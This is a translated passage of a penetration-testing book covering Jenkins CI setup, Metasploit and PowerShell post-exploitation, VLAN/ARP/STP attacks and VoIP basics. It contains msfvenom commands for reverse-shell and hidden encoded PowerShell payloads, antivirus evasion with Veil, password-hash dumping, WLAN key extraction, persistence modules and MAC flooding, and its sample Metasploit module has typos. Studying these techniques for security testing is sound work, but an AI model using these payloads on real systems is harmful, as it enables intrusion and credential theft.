高级基础设施渗透测试(二)
原文:
annas-archive.org/md5/45BAA65013025C678E3A42A0CD4FCB67译者:飞龙
第六章:利用 Git 和持续集成服务器
持续集成(CI)和持续交付(CD)正在成为现代软件开发的两个重要部分。本章是一个了解如何保护 CI 服务器的绝佳机会。我们将从头开始学习软件开发方法和 CI 的构建。除了学习如何从头开始构建 CI 环境,我们还将了解如何保护 CI 和 CD 流水线需要做些什么。
软件开发方法论
像任何项目一样,软件项目需要经历明确定义的步骤才能得到良好的管理。为了确保高效的项目管理,软件开发项目需要一系列步骤:
-
需求
-
设计
-
实施
-
验证
-
维护
步骤如下:
根据业务需求,先前的步骤通过不同的方法进行。有许多开发方法论:
-
瀑布方法论:这是一种线性和顺序的方法论;在其中不能回头。
-
原型方法论:在这种方法论中,产品被反复构建和测试。
-
螺旋方法论:这种方法论是有风险和成本高昂的,因为它通过迭代开发过程(目标识别、替代方案、约束和规划)来完成。
-
**敏捷方法论:**敏捷方法论是基于迭代和增量的方法,创造了一个灵活和快速适应的环境。有许多著名的敏捷方法,例如:
-
**水晶:**这种方法论基于人员的沟通和互动。
-
Scrum:这是一种敏捷方法论(甚至有一些专家认为它是敏捷运动的重要组成部分,而不是一种敏捷方法论),用于将软件开发项目分解为在特定时间段内进行的冲刺。
-
极限编程(XP):包括短期开发周期,并与客户需求保持一致。
-
特征驱动开发(FDD):这是一种以特征和客户为中心的方法论。
敏捷开发方法论比其他经典方法论风险较小。以下图表显示了敏捷开发周期:
持续集成
CI 是一种软件开发实践,开发人员有机会在项目结束之前每天多次集成他们的代码。如今,CI 是每个软件项目中的关键实践。这些频繁的检查解决了经典的集成问题,并使开发人员和 CI 采用者获得以下好处:
-
在短时间内检测错误
-
轻松检测和定位问题
-
更快地交付软件产品
CI 采用是避免紧张集成的重要一步,并且它能够及时交付软件,因为不准确的时间和工作量估计是项目失败的主要原因,另外还有各个层面缺乏有效沟通。CI 基于自动化。自动化是 CI 的一个重要方面。因此,测试的自动化将确保更快的开发和产品上市时间。
测试类型
如前所述,自动化任务在 CI 中是必不可少的。您可以执行许多类型的测试,而不一定要一次执行所有测试。根据 Mike Cohn 介绍的测试自动化策略,测试可以用以下金字塔表示:
单元测试范围狭窄,通常验证单个方法或函数的行为。
集成测试确保多个组件正确地一起运行。这可能涉及多个类,以及与其他服务的集成测试。
验收测试类似于集成测试,但它们侧重于业务案例而不是组件本身。
UI 测试将确保应用程序从用户角度正确运行。
以下是 CI 环境的总结:
持续集成与持续交付
CI是CD的一个子集。在 CD 过程中,我们添加了一个额外的层,用于在发布过程中自动化交付。这个额外的步骤确保即使在产品发布和交付给客户之后,您也可以根据预定的时间表(每天、每周、每月等)根据业务需求快速进行新的更改。如果所有测试都成功,新的更改将被自动部署,从而以高效的方式加快产品向客户的发布。
为了加快流程,您可以添加一个称为持续部署的进一步步骤。以下图表显示了三个操作:
DevOps
DevOps是一种增强的实践,它在整个产品生命周期中使开发人员和运营经理之间能够进行协作。这是一组工具和思维原则,用于成功地建立两方之间的沟通渠道。通过查看以下图表,您可以更清楚地了解:
使用 GitHub 和 Jenkins 进行持续集成
我们已经概述了开发方法和不同的产品生命周期过程。现在让我们学习如何使用 GitHub 和 Jenkins CI 服务器构建真实的 CI 环境,如下所示:
Jenkins 是一个开源的自动化服务器。由于它具有自动化任务的能力,它可以执行 CI。您可以从jenkins.io/:下载它。
安装 Jenkins
在演示中,我们将使用 Ubuntu 16.04 机器。要安装 Jenkins,您需要添加存储库密钥,使用echo命令将 Jenkins Debian 软件包存储库添加到sources.list文件,并通过输入以下内容来更新sources.list文件:
apt-get update
现在,使用apt-get install Jenkins命令安装 Jenkins:
您可以通过输入以下内容来检查 Jenkins 服务是否正在运行:
sudo service --status-all
通过输入sudo ufw allow 8080来为 Jenkins 打开端口8080。
访问https://www.<your domain/IP here>.com:8080并完成所需的配置:
选择您的插件模式:
创建一个管理员用户,保存,然后我们完成了:
大功告成!
创建一个新项目并完成配置:
持续集成攻击
像任何现代组织一样,宝贵的资产、持续集成和 CD 服务器是高度的目标,因为它们代表着入侵生产系统的良好入口点。有许多危险的攻击威胁 CI 服务器。以下是一些 CI/CD 服务器攻击的示例:
-
使用 CI 进行反向 shell
-
未经授权提交到主分支
-
Jenkins-CI 脚本控制台 Java 执行
持续集成服务器渗透测试
保护 CI 和 CD 服务器至关重要。建立安全控制对于保护流水线至关重要,因为它们是源代码和生产服务器之间的桥梁。
Rotten Apple 项目用于测试持续集成或持续交付系统的安全性
Rotten Apple 项目是一个开源项目,旨在为开发人员和渗透测试人员在测试 CI 服务器时提供简单高效的体验,通过提供各种功能和能力。
您可以通过输入sudo git clone https://github.com/claudijd/rotten_apple来从其 GitHub 存储库克隆项目。
使用 Zed Attack Proxy 进行持续安全性
Zed Attack Proxy(ZAP),如图所示,是一个著名的开源安全工具。它具有各种对渗透测试人员有用的功能。ZAP 可以作为额外的 CI 安全层发挥重要作用。换句话说,它可以成为 Web 应用程序的持续安全层。ZAP 和 Jenkins 提供了体验额外组件的可能性。然后,您不仅仅是按时交付软件项目,而是增强了 CI/DI 管道的安全性:
感谢 ZAP Jenkins 插件,您可以增强 CI 环境的安全性。测试后,ZAP 将以不同格式(XHTML、XML 和 JSON)生成报告。
要安装 ZAP 插件,可以使用 Web 界面:转到“管理 Jenkins -> 管理插件”。
使用过滤栏搜索 ZAP,如下面的屏幕截图所示:
单击“无需重启安装”:
转到作业并在构建选项中选择运行 OWASP ZAP 代理:
完成所需的配置,最后构建作业:
摘要
本章概述了 CI 服务器的潜在力量及其对企业的好处。因此,我们了解了如何逐步构建 CI 环境,并了解了保护 CI/CD 服务器所需的步骤。下一章将带您进行一次深入的旅程,您将了解如何使用 Metasploit 和 PowerShell 来攻击组织基础设施。
第七章:Metasploit 和 PowerShell 用于后期利用
在之前的章节中,您学习了PowerShell作为攻击平台的强大功能。这只是个开始。现在是时候感受它作为执行复杂攻击的完美工具的真正力量了,而且我们还将发现如何与Metasploit Framework并行使用它。
在本章中将涵盖以下主题:
-
Metasploit Framework
-
PowerShell 基础知识
-
PowerShell 有效载荷模块
-
Nishang PowerShell 用于渗透测试和攻击性安全
解剖 Metasploit Framework
Metasploit Framework 是最知名的开源利用工具。它最初是由 HD Moore 用 Perl 开发的,但后来转移到了 Ruby。这个框架装载了许多对黑客和渗透测试人员有用的功能。要安装 Metasploit Framework,请访问www.rapid7.com/products/metasploit/download/并执行以下步骤:
- 选择您的计划,注册并选择您的操作系统。在这个演示中,我使用的是 Windows 64 位试用版:
- 您将收到一封带有试用激活密钥的电子邮件:
- 现在在您的机器上安装它:
- 看啊!您可以开始您的利用之旅:
Metasploit 架构
Metasploit 架构由许多重要组件组成。要充分利用 Metasploit 的功能,需要许多组件:
-
工具:这是一组有用的实用程序
-
插件:这些是运行时可加载的扩展
-
库:这些是有用的 Ruby 库
-
接口:这些使用户能够以不同的方式访问 Metasploit(例如 CLI 和 web)
-
模块:这些是执行特定任务的组件
这张图解释了 Metasploit 框架的架构:
模块
Metasploit Framework 使用许多模块。如果您在 Kali Linux 发行版中使用 Metasploit Framework,您可以列出这些模块。转到/usr/share/metasploit-framework/modules并使用ls命令来探索它们,如下面的屏幕截图所示:
利用
正如我们在旅程中讨论的,利用是黑客攻击中的一个重要步骤。事实上,Metasploit 通过加载的利用给黑客和安全专业人员提供了巨大的利用能力。这个阶段不仅会通过找到利用漏洞的真实证据来最小化漏洞工具和扫描器的误报率,而且还会导致后期利用。在野外有三种类型的利用:
-
服务器端漏洞
-
客户端漏洞
-
本地权限提升
有效载荷
有效载荷是利用模块。有两种有效载荷类别:分段。内联有效载荷(或单个有效载荷)是全包容和独立的。分段有效载荷包含多个有效载荷的部分,称为分段器。换句话说,完整的有效载荷由分段器组成:
Metasploit 装载了各种类型的有效载荷:
-
绑定 shell:这些只是等待黑客连接或发送指令。如果受害者直接连接到机器,它们是一个不错的选择:
-
反向 shell
-
监听器
-
阶段
-
Meterpreter:它们是专门的命令环境。它们完全在被利用进程使用的内存中工作。您可以使用许多 Meterpreter 命令进行后期利用,例如:
-
sysinfo -
getsystem -
getuid -
reg -
background -
ps -
kill
作为渗透测试人员,Meterpreter 将为您提供许多其他方便的命令,例如:
-
ifconfig
-
route -
portfwd -
webcam_list -
webcam_snap -
record_mic -
screenshot -
idletime -
uictl -
偏执 Meterpreter 有效载荷:这些使用签名的 SSL/TLS 证书。
-
无分段 Meterpreter 有效载荷:这些包含启动会话所需的所有内容。
辅助
辅助执行各种任务,包括扫描、DNS 查询等:
-
auxillary/scanner/portscan/tcp:连接扫描 -
auxiliary/scanner/portscan/syn:半开放式 SYN 隐秘扫描 -
auxiliary/scanner/discovery/udp_sweep:UDP 扫描
编码器
编码器用于规避检测,因为直接使用 Metasploit 生成有效载荷并不明智,因为大多数反恶意软件程序都会检测到它。因此,可以使用编码器来对有效载荷进行编码,因为有许多可用的编码器:
NOPs
NOP 是汇编代码中 No Operation 的缩写。它确保任何未使用的空间对处理器执行仍然有效,没有任何影响。在 Metasploit 中,它们用于保持有效载荷大小的一致性。
Posts
Posts 用于利用后(成功利用系统后)。您可以在/usr/share/metasploit-framework/modules/post中找到利用后模块,或者只需在 Metasploit 控制台中输入show post:
msf> show post
要了解有关某个 post 的更多信息,请使用info命令。例如,如果您想了解有关golden_ticket post 模块的更多信息,只需输入info post/windows/escalate/golden_ticket:
这个神奇的工具还可以使用 loadpath 命令加载自己的模块:
启动 Metasploit
要启动 Metasploit,您需要打开 shell 并输入msfconsole。以下截图代表 Metasploit 的控制台模式(msfconsole)。正如讨论的那样,Metasploit 还有其他接口,如msfcli(类似于msfconsole,但不是交互式的),msfgui(图形版本)和armitage(强大的 GUI 界面)。
以下截图是msfcli的:
Metasploit 命令包括:
-
help:提供有关如何使用功能的信息 -
show payloads:列出可用的有效载荷 -
show exploits:列出可用的利用 -
show options:列出所需的选项 -
msfupdate:更新 Metasploit -
use:使用模块 -
search:搜索功能 -
exploit:启动利用
在深入了解 Metasploit 强大的命令之前,让我们先检查 Metasploit 框架的组件:
-
msfpayload:在利用后要在目标机器上运行的脚本。 -
msfencode:用于避免检测有效载荷的神奇实用程序。 -
msfvenom:这类似于前两个实用程序的组合。这是 Metasploit 中的一个新功能:
您可以通过输入以下内容来检查可用的有效载荷格式:
# msfvenom --help-formats
例如,如果要生成 Windows 有效载荷,请输入以下内容:
# msfvenom -p windows/shell/reverse_tcp LHOST=[YourIPaddress]
LPORT=8080 - f exe > [A_Specific_PATH]/ payload.exe
使用 Veil-Framework 绕过防病毒软件
作为渗透测试人员,永远记住您正在模拟真实世界的攻击,在现实世界中,黑客正在尝试使用许多技术绕过防病毒保护。Veil-Framework 是一个避免有效载荷检测的绝妙工具。要安装 Veil 3.0,您需要从其官方 GitHub 来源github.com/Veil-Framework/Veil下载它:
# git clone https://github.com/Veil-Framework/Veil
现在您只需要从辅助主菜单中选择一个任务:
要生成有效载荷,请选择list,然后输入use 1:
要列出所有可用的有效载荷,请像往常一样使用list:
使用use命令选择您的有效载荷:
输入generate来创建有效载荷:
完成选项后,您将生成一个无法检测的有效载荷,就是这么简单:
您还可以使用 Metasploit 进行 Nmap 扫描,将结果导出并稍后从数据库导入(Metasploit 使用 PostgreSQL 数据库):
Msf> nmap [target] -oX [output]
Metasploit 是一个令人难以置信的工具。因此,它为渗透测试人员提供了大量的功能;其中之一是能够将结果导出到诸如 PostgreSQL 之类的数据库。如果您已经安装了 PostgreSQL,可以使用 Metasploit 的db_connect实用程序验证 Metasploit 与数据库之间的连接:
msf> db_connect postgres:myPassword@127.0.0.1/pentester msf> db_status
Metasploit 通过添加searchsploit实用程序来简化搜索大量利用。您可以添加最多三个搜索词。
例如,# searchsploit local:
编写自己的 Metasploit 模块
如前所述,白帽黑客应该知道如何编写自己的工具和脚本。因此,让我们看看如何创建一个简单的 Metasploit 模块。在这个演示中,我们将使用 Ruby 作为编程语言,并构建一个 TCP 扫描器。
首先,创建一个 Ruby 文件:
require 'msf/core'
class Metasploit3 <Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def intialize
super(
'Name' => 'TCP scanner',
'Version' => '$Revisiov: 1 $',
'Description' => 'This is a Demo for Packt Readers',
'License' => MSF_LICENSSE
)
register_options([
opt::RPORT(3000)
], self.class)
end
def run_host(ip)
connect()
greeting = "Hello Cybrary"
sock.puts(greeting)
data = sock.recv(1024)
print_status("Received: #{data} from #{ip}")
end
end
要测试响应,请创建一个名为server.txt的文本文件,并设置 netcat 监听器。现在,将其保存在usr/share/metasploit-framework/modules/auxiliary/scanner:
nc -lnvp 3000 < server.txt
打开 Metasploit,键入use scanner/TCPScanner:
您可以通过包括include Msf::Auxiliary::Report来报告结果。
例如,您可以使用这种方法:
results ( :host => rhost, :data => data )
Metasploit 持久性脚本
持久性是每次成功的黑客攻击中的主要需求。Metasploit Framework 带有两个主要的持久性脚本:
- S4U 持久性(计划持久性):要使用它,请键入
use exploit/windows/local/s4u_persistence
- 卷影副本服务持久性(VSS 持久性):要使用它,键入
use exploit/windows/local/vss_persistence
这里有一些持久性的额外选项:
-
Metasploit 服务(或Metsvc)
-
VNC 注入
您可以使用 Windows 二进制文件。要定位这些二进制文件,转到/usr/share/windows-binaries path:
武器化的 PowerShell 与 Metasploit
在之前的章节中,我们见证了 PowerShell 及其潜力的力量。这只是开始;现在,我们准备将其力量发挥到下一个级别。结合 Metasploit 和 PowerShell 的灵活性是执行更多定制攻击和安全测试的绝佳机会。
交互式 PowerShell
PowerShell 攻击已经集成到 Metasploit 中。您可以使用search命令进行检查:
msf> search powershell
在第四章,活动目录利用中,您学习了如何使用 PowerShell 执行一些任务。现在是时候学习如何使用 PowerShell 与 Metasploit。例如,您可以使用msfvenom实用程序将 PowerShell 脚本转换为可执行文件进行演示:
>msfvenom -p windows/powershell_reverse_tcp LHOST=192.168.1.39 LPORT=4444 -f exe > evilPS.exe >msfvenom -p windows/exec CMD=“powershell -ep bypass -W Hidden -enc [Powershell script Here]” -f exe -e x86/shikata_ga_nai -o /root/home/ghost/Desktop/power.exe
PowerSploit
PowerSploit 是信息安全专业人员,特别是渗透测试人员使用的一组令人惊叹的 PowerShell 脚本。要下载 PowerSploit,您需要从其官方 GitHub 存储库github.com/PowerShellMafia/PowerSploit获取:
# git clone https://github.com/PowerShellMafia/PowerSploit
克隆项目后,使用ls命令列出文件:
从以下截图中,您可以注意到 PowerSploit 包含许多惊人的脚本,用于执行许多任务,例如:
-
绕过杀毒软件 -
外泄 -
持久性 -
PowerSploit -
PowerUp -
PowerView
Nishang - 用于渗透测试的 PowerShell
Nishang 是一个用于执行许多渗透测试阶段任务的工具集。您可以从github.com/samratashok/nishang获取它:
# git clone https://github.com/samratashok/nishang
从下载的项目列表中可以看出,Nishang 加载了许多不同的脚本和实用程序,用于在渗透测试任务期间执行许多所需的任务,例如:
-
权限提升
-
扫描
-
枢纽
您可以使用ls命令列出 Nishang 项目的所有可用脚本:
让我们在 Windows 机器上探索一些 Nishang 脚本的强大功能:
您可以使用Import-Module PowerShell 命令导入所有模块:
哎呀,出了点问题!别担心,为了使用Import-Module,您需要以管理员身份打开 PowerShell,并输入Set-ExecutionPolicy -ExecutionPolicy RemoteSigned:
然后你可以导入模块:
现在,如果您想要使用Get-Information模块,只需输入Get-Information:
如果您想要揭示 WLAN 密钥,请输入Get-WLAN-Keys:
您甚至可以在后渗透任务中从目标机器中转储密码哈希。借助Get-PassHashes模块,您可以转储密码哈希。这是我本地机器的输出:
但是,如果你想在获得 shell 后弹出命令,请使用:
Powershell.exe –exec bypass –Command “& {Import-Module '[PATH_HERE]/Get-PassHashes.ps1' , Get-PassHashes}”
您甚至可以使用Invoke-CredentialPhish进行钓鱼攻击,就像之前的演示一样。您可以在受害者的机器上运行这次攻击:
防范 PowerShell 攻击
在前几节中,我们介绍了使用 Metasploit 和 PowerShell 攻击机器的各种技术。现在是时候学习如何防御和减轻 PowerShell 攻击了。为了防范 PowerShell 攻击,您需要:
- 实施最新的 PowerShell 版本(在撰写本书时为版本 5)。要检查,请输入
Get-Host:
-
监视 PowerShell 日志。
-
确保最低特权策略和组策略设置。您可以使用本地组策略编辑器进行编辑。如果您使用的是 Windows 10 企业版,您还可以使用
AppLocker:
- 使用受限语言模式:
PS C:\Windows\system32> [environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine')
- 要检查受限语言模式,请输入:
$ExecutionContext.SessionState.LanguageMode
- 这样,恶意脚本就无法运行:
总结
在本章中,您学会了如何同时使用 Metasploit 和 PowerShell 来渗透基础架构,并将攻击提升到下一个级别,从侦察开始,到保持访问和持久性。我们研究了架构和操作的两种武器。下一章将是一个新的体验,您将学习如何利用企业 VLANS,并从理论转向实际经验。
第八章:VLAN 利用
交换在任何现代网络中都是至关重要的组件。本章将带您进行学习体验,我们将在一方面发现如何对第 2 层进行攻击,另一方面将学习如何防御这些攻击。了解如何保护第 2 层是必要的,因为网络安全的强弱取决于最薄弱的一层。在我们的情况下,最薄弱的一层是第 2 层。损害它可能导致对堆栈中的其他层进行损害。在本章中,我们将涵盖以下主题:
-
交换基础知识
-
MAC 攻击
-
动态主机配置协议(DHCP)攻击
-
虚拟局域网(VLAN)攻击
网络中的交换
交换是数据链路层(OSI 模型中的第 2 层)设备。它们的主要目标是通过接收交换数据包并将其转发到目标设备来连接网络设备。交换是连接设备的有效解决方案,尽管如果我们想要连接大量的终端设备(计算机,电话等)和节点,它并不实用。节点是从源到目的地传递信息而不修改信息或数据的实体;一组节点称为通信网络,如下图所示:
在交换中,有三种不同的技术:
-
电路交换:这是发送方和接收方之间的固定通道,专用通道称为电路。一旦建立连接,即使电路没有完全使用,其他设备也不能使用通道,直到确定连接。这种类型的交换广泛用于电话网络。在电路交换期间,我们有以下三个步骤:通道建立,数据传输和连接确定。电路交换有两种类型:
-
频分复用(FDM):复用是将许多信号合并成一个信号的过程。FDM 是一种操作,其中信道在不重叠的频率下进行划分。以下图示了 FDM 过程:
-
- 时分复用(TDM):这是另一种复用操作,但它使用时间段而不是频率。这种操作比 FDM 更灵活和高效,如下图所示:
-
分组交换:在这种交换技术中,数据以特定格式称为分组进行交换和转发。数据包由以下元素组成,如下图所示:
-
数据:传输的信息
-
头部:包含目的地地址
-
尾部(可选):一般来说,这包含一些信息,以指示数据包的结束;有时,它用于错误检查:
在传输中,来自不同终端系统的数据包将进行复用;数据包也称为数据报。
- 消息交换:有时也称为存储-转发交换。在这种技术中,所有终端系统都接收消息,存储它,并将其转发到下一个设备。
局域网交换
在局域网中使用的接入方法是基于 IEEE 802.3 标准的以太网连接。我们根据连接带宽(10 Mbps(以太网),100 Mbps(快速以太网)或 1,000 Mbps(千兆以太网))有不同类型。以太网为您提供了从不同的以太网传输物理设备中进行选择,例如双绞线和光纤。
用于阻止设备同时发送信息的算法称为载波监听多路访问/冲突检测(CSMA/CD)。如下图所示,两个主机不能同时发送信息:
在以太网连接中,数据的流量由媒体访问控制(MAC)地址确定。这个地址是一个独特的 48 位序列号。它由组织唯一标识符(OUI)和供应商分配的地址组成,如下所示。它以十六进制格式表示:
在第 2 层的传输可以分为三种主要的数据传输方法:
-
单播:这是从特定网络设备到另一个特定设备的传输模式。换句话说,这是一对一的传输模式。
-
多播:在多播操作中,单个设备向多个网络设备发送数据。这是一种一对多的传输模式,其中设备向特定组发送数据。
-
广播:这种传输模式类似于多播,但在广播操作中,网络设备向所有其他设备发送数据。在广播中,设备使用
FF-FF-FF-FF-FF-FFMAC 地址(最高可能的 MAC 地址)。
以下图示说明了三种传输模式之间的区别:
在 LAN 交换中,我们有以下三种技术:
- 存储转发交换:在存储转发交换中,交换机将所有帧存储在内存中,并在计算循环冗余检查(CRC)后检查错误。如果根据帧中的位数存在错误,帧将被拒绝,否则将被转发,如下所示:
- 切换式交换:在切换式交换中,交换机仅存储目标 MAC 地址并将其与其 MAC 表进行比较。这种技术比前一种技术更快,因为它只处理前 6 个字节:
- 碎片免费交换:这种交换技术结合了前两种交换模式。它是一种混合交换技术。它类似于切换式交换,但是不是检查前 6 个字节,而是检查前 64 个字节,因为为了检测冲突,我们需要检查前 64 个字节。
MAC 攻击
MAC 地址是具有两个分配部分的唯一标识符——OUI 由 IEEE 分配,后 24 位由制造商分配。这些地址存储在一个称为内容可寻址存储器(CAM)的表中。这个表有固定的大小。CAM 在操作后存储有关 MAC 地址的信息,如下图所示:
在这种情况下,最初 CAM 包含两个地址及其端口信息。要从主机 A发送流量到主机 B,CAM 表中应包含有关主机 B的信息,但在此演示中并非如此。因此主机 A向所有主机发送 ARP 请求。主机发送有关其 MAC 地址和端口的信息。现在主机 A有关主机 B的信息并将其存储在 CAM 表中,如图所示:
最后,CAM 表包含有关主机的所有必需信息,包括目标主机。因此,从主机 A到主机 B的流量应正常运行:
攻击者可以利用 CAM 表执行恶意活动。可以进行一种称为 CAM 溢出的攻击。换句话说,攻击者通过利用 CAM 表大小的最大限制来溢出 CAM 表。有许多可用的工具,其中之一是macof。假设 CAM 表已满载有所有信息。攻击者可以使用 macof 向交换机发送随机源 MAC 地址(每分钟最多 155,000 个 MAC 条目)来淹没交换机:
或者简单地使用macof -i eth1 2> /dev/null。为了防御 MAC 淹没,您需要使用端口安全限制接口上的 MAC 地址数量,如下图所示:
媒体访问控制安全
为了保护您的网络免受数据链路层攻击并提供总以太网链路安全,您可以使用媒体访问控制安全(MACsec),它基于 802.1 AE 标准。MACsec 就像网络层的 IPsec 一样,它使用逐跳加密(GCM-AES-128)和网络节点之间的MACsec 密钥协商(MKA)来提供完整性和保密性保护。因此,它加密了所有以太网数据包,但不会触及源和目的 MAC 地址。交换机到交换机模式下的 MACsec 与交换机到主机模式不同。第一个称为下行 MACsec,其中主机经过 802.1x 认证过程。第二个称为上行 MACsec。它可以在交换机上手动配置,也可以使用远程 RADIUS 服务器动态配置。以下图表显示了通信是加密的:
DHCP 攻击
DHCP 是基于 RFC 2131 的网络层协议,它使得可以动态分配 IP 地址给主机。为了为特定主机分配 IP 地址,需要以下四个必需的步骤:
-
DHCP 发现
-
DHCP 提供
-
DHCP 请求
-
DHCP 确认
DHCP 饥饿
在本章中,我们讨论了第 2 层攻击;我打赌你想知道为什么我们谈论了一个网络层协议(在我们的例子中是 DHCP)。答案很简单。攻击者可以执行我们所谓的 DHCP 饥饿攻击。攻击者使用伪造的 MAC 地址广播 DHCP 请求;这种攻击利用了 DHCP 服务器的地址空间。这种攻击可以使用简单的工具来完成,比如gobbler。
Rogue DHCP 服务器
Rogue DHCP 服务器(可以是家用路由器或调制解调器)是攻击者在网络中实施的服务器,用于执行中间人攻击或嗅探网络流量。这种恶意服务器的实施让攻击者收集大量信息,包括 DNS 服务器信息和默认网关。为了防御 DHCP 攻击,您需要使用 DHCP 监听,这是一个用于识别响应 DHCP 请求端口的交换机功能。
ARP 攻击
地址解析协议(ARP)是根据 RFC 826 标准将 IP 地址与其关联的 MAC 地址进行映射的协议。ARP 在许多操作系统中实现,包括 Linux。
您可以使用arp命令进行检查:
攻击者可以利用其缓存执行中间人攻击,使用诸如 Ettercap 之类的工具:
如果您已经使用 Kali Linux,还可以使用dsniff实用程序:
攻击者可以利用 ARP 协议的 IP/MAC 匹配能力将其 MAC 地址与合法 IP 地址进行映射。如果您使用 Kali Linux,可以直接从主菜单中使用它。
为了防御 ARP 攻击,最好使用动态 ARP 检查,检查数据包是否与绑定表条目匹配,否则数据包将被丢弃;但首先需要配置 DHCP 监听。
这是正常的 ARP 操作:
这是 ARP 欺骗攻击的示例:
VLAN 攻击
VLAN 是在同一广播域中对网络设备进行逻辑分组。这种逻辑分离在许多情况下非常有益。例如,如果我们有不同的地理位置,使用 VLAN 可能是将网络设备分组的好方法,即使它们在不同的地方,但它们就像一个广播域一样。这张图解说明了经典的交换架构;每个特定的企业部门都有一个特定的交换机:
以下图示了实施 VLAN 的有益结果。我们可以为许多不同的部门配置交换机:
交换操作发生在第 2 层,但当我们使用 VLAN 时,我们需要一个路由器(第 3 层)通过名为VLAN 间路由的操作使 VLAN 相互通信。VLAN 干线连接是需要的,通过为每个帧打上 VLAN ID,这是一个在 0 到 4095 之间的数字,来识别 VLAN。在这里,使用了干线协商,得益于动态干线协议(DTP):
当交换机和路由器支持 VLAN 时,可以实现 VLAN。这意味着它们支持干线协议,如交换机间链路(ISL),这是 Cisco 专有的,以及 IEEE 802.1q。如果交换机支持干线,它被称为受管交换机。
VLAN 的类型
有许多种类型的 VLAN。其中两种如下:
-
本地 VLAN 或未标记的 VLAN:如果主机向交换机端口发送流量而没有指定 VLAN ID,则流量将被分配给未标记的 VLAN
-
标记的 VLAN:当数据包被标记为 VLAN ID 时使用
VLAN 配置
要在交换机上配置 VLAN,您需要遵循这个配置:
- 第一个 VLAN:
switch#configure terminal
switch(config)#vlan 10
switch(config-vlan)#exit
switch(config)#
- 第二个 VLAN:
switch#configure terminal
switch(config)#vlan 20
switch(config-vlan)#exit
switch(config)#
- 分配端口:
switch#configure terminal
switch(config)#interface FastEthernet 0/1
switch(config-if)#switchport mode access
switch(config-if)#switchport access vlan 10
switch#configure terminal
switch(config)#interface range FastEthernet 0/2 - 8
switch(config-if-range)#switchport mode access
switch(config-if-range)#switchport access vlan 10
VLAN 跳跃攻击
VLAN 跳跃攻击基于 DTP。DTP 的主要作用是自动配置 802.1q 或 ISL 干线:
交换机欺骗
在这种攻击中,攻击者通过模拟 ISL 或 802.1q 并与 DTP 进行信令来模拟交换机。因此,它看起来像一个带干线端口的交换机,因此它将可以访问所有的 VLAN。
VLAN 双标记
这种攻击有时被称为双 802.1q 封装攻击,它是通过发送 802.1q 双封装帧来完成的。一般来说,交换机一次只执行一次解封操作。因此,它们将剥离第一个并发送第二个。这种攻击只有在攻击和目标在同一个 VLAN 上时才可能发生,即使干线端口关闭:
私有 VLAN 攻击
我们在前面的部分中看到,VLAN 将 LAN 划分为广播域。私有 VLAN(PVLAN)也是 VLAN 的子域,有隔离的子域,如子 VLAN。
VLAN 需要一个第 3 层设备,如路由器,来相互通信,PVLAN 也需要路由器来通信,但主机仍然在同一个 IP 子网中。我们有三个 PVLAN 端口:
-
混杂(P):连接到路由器
-
隔离(I):连接到主机
-
社区(C):连接到其他社区端口
攻击者可以通过发送带有他们的 IP 和 MAC 地址以及目标 IP 地址的帧来攻击 PVLANs:
生成树协议攻击
生成树协议(STP)是由 Radia Perlman 于 1985 年开发的,用于解决以太网环路的问题,但在深入研究 STP 之前,让我们回到这个问题的根本原因。如果广播风暴发生,您将失去网络可用性。当以太网环路发生时,就会发生这种情况。举个简单的例子,在下图中,我们有三个连接的交换机。如果一个交换机向其他两个交换机发送广播,它们将通过所有端口接收并转发它,因为它们找不到地址。此外,它们将进入一个重复的循环,称为广播风暴:
这样,STP 似乎解决了这个网络问题,通过阻塞冗余路径,得益于基于 IEEE 802.1d 标准的生成树算法(STA),它确保两个站点之间只有一条路径可用:
但是在使用 STP 时要阻塞哪些端口呢?在 STP 中,有五种类型的端口:
-
学习端口:这个端口学习 MAC 地址但不转发帧
-
监听端口:这个端口不学习 MAC 地址或转发它们
-
丢弃端口:这个端口不转发数据
-
转发端口:这个端口学习 MAC 地址并转发数据
-
禁用端口:这个端口不需要解释
以下工作流描述了 STP 中端口的各个阶段:
STP 执行以下三个步骤以实现其目标:
-
根桥选举:交换机并不是非常智能的设备。因此,默认情况下,网络中的每个交换机都声称自己是根桥,即控制拓扑的主要交换机。为了选择根桥,所有交换机发送它们的桥 ID(BID),这是桥优先级和 MAC 地址之间的 8 个字节的组合;默认情况下,它是 32,768。具有最小 BID 的交换机被选为根桥。
-
选择根端口:这个选择是基于一个简单的选择标准,即最低成本的桥接协议数据单元(BPDU)。因此,接收到最低 BPDU 的端口将成为根端口。
-
选择指定端口:指定端口是其他交换机端口(已阻塞)。
攻击 STP
攻击者可以利用 STP 来攻击网络。其中一种黑客技术是在干线端口实施一个虚假交换机,并通过配置这个虚假交换机并赋予它最低的 ID 来操纵生成树优先级,从而成为根桥。因此,所有流量将通过这个交换机传输,然后它将嗅探所有流量或重定向流量。
为了防御 STP 攻击,您需要在所有未指定为根端口的交换机端口上启用根守卫:
Switch1(config)# interface gigabitethernet 0/1
Switch1(config-if)# spanning-tree guard root
总结
本章是关于如何利用第 2 层漏洞来妥协网络的有用解释。下一章将是一个深入的学习体验,解释如何利用 VoIP 系统。
第九章:VoIP 利用
IP 电话(VoIP)正在将商业通信推向新的效率和生产力水平。基于 VoIP 的系统每天都面临安全风险。尽管许多公司都在关注 VoIP 的服务质量,但他们忽视了 VoIP 基础设施的安全方面,使其容易受到危险攻击。本章将使用逐步指导解决大多数 VoIP 安全问题。
在本章中,我们将涵盖以下主题:
-
VoIP 协议
-
VoIP 攻击
-
VoLTE 攻击
-
如何防御 VoIP 攻击
VoIP 基础知识
为了学习如何对 VoIP 进行渗透测试,我们需要清楚地了解 VoIP 基础设施的实际运作方式。我们将剖析 VoIP 协议,以便后来学习如何攻击 VoIP 系统。以下各小节是一些使语音和视频通信成为可能的知名标准。让我们逐一探讨它们。
H.323
H.323 是由国际电信联盟标准化部门(ITU-T)引入的 IP 标准。正如你所看到的,这个标准化机构使用字母来定义基于许多标准的范围,列在这里:
-
H:用于音频视觉和多媒体系统
-
G:用于传输系统和媒体
-
Q:用于交换和信令
-
T:用于远程服务的终端
H.323 是最古老的基于数据包的通信系统协议之一。因此,这个协议是稳定的。当前版本是 v6。它被许多供应商在许多产品中广泛使用,如思科呼叫管理器、NetMeeting 和 RadVision。
H.323 使用许多类型的设备:
-
**终端:**这些是用户设备,如 IP 电话和视频会议系统。
-
多点控制单元:由两个逻辑组件组成——多点控制器(MC)和多点处理器(MP)。它们的作用是管理多点会议。
-
